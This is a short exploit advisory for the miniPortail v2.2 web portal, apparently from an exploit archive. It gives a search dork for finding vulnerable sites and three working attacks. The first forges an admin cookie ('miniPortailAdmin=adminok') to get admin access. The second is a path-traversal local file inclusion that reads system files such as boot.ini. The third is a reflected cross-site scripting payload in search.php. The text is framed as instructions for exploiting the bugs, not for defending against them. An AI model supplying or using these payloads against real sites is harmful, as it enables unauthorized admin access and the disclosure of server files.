+---------------------------------info-----------------------------------+ | Exploit Title : miniPortail v2.2 Multiple Vulnerabilities | | version : all version | | Author : Or4nG.M4n | | Dork : "miniPortail v2.2" | | Software Link : www.aldweb.com | | Thnks & great : sA^Dev!L h311c0d3 ahwak2000 xSsm4n Cyb3r Crystal Hcj | | Sp. : r00t-s3c.com v4-team.com => abo.b4s!l Hk Dr.S!lver | +------------------------Insecure Cookie Handling------------------------+ | vuln file : /admin/admin.php | | vuln code : $portalname = "miniPortailAdmin"; <--------+ [1] | |$cookiedata = "adminok"; <------------------------+ [2] | | |include("mdp.php"); | | | |if (md5($pass) == $mdp) { | | | | setcookie($portalname, $cookiedata); <-------+-----+ [3] | | } | | elseif ($logout == 1) { | | setcookie($portalname, ""); | | header("location:../index.php"); | | } | | You : okey Or4nG.M4n i am Understand .. but how i can exploit this bug | | Me : this easy bro just inject this cookie in your browser | | Ex : miniPortailAdmin=adminok | +------------------------Insecure Cookie Handling------------------------+ +--------------------------Local File inclusion--------------------------+ | vuln File : inc/includes.inc | | vuln code : | | include($chemin."inc/lang/".$lng."-web.inc"); | | .$lng. <= ../../../../../../../ | | "-web.inc" <= %00 | | Ex : [any file].php?lng=../../../../../../../../boot.ini%00 | +--------------------------Local File inclusion--------------------------+ +--------------------------Cross Site Scripting--------------------------+ | vuln file : search.php | | vuln code : | echo "

1 ".$web60." \"".$search."\" | | Ex : search.php?lng=fr&search=

xssed

+--------------------------Cross Site Scripting--------------------------+ || | || | || | || | || | ________\\|| |//________ # 0day.today [2018-01-01] #

Query Builder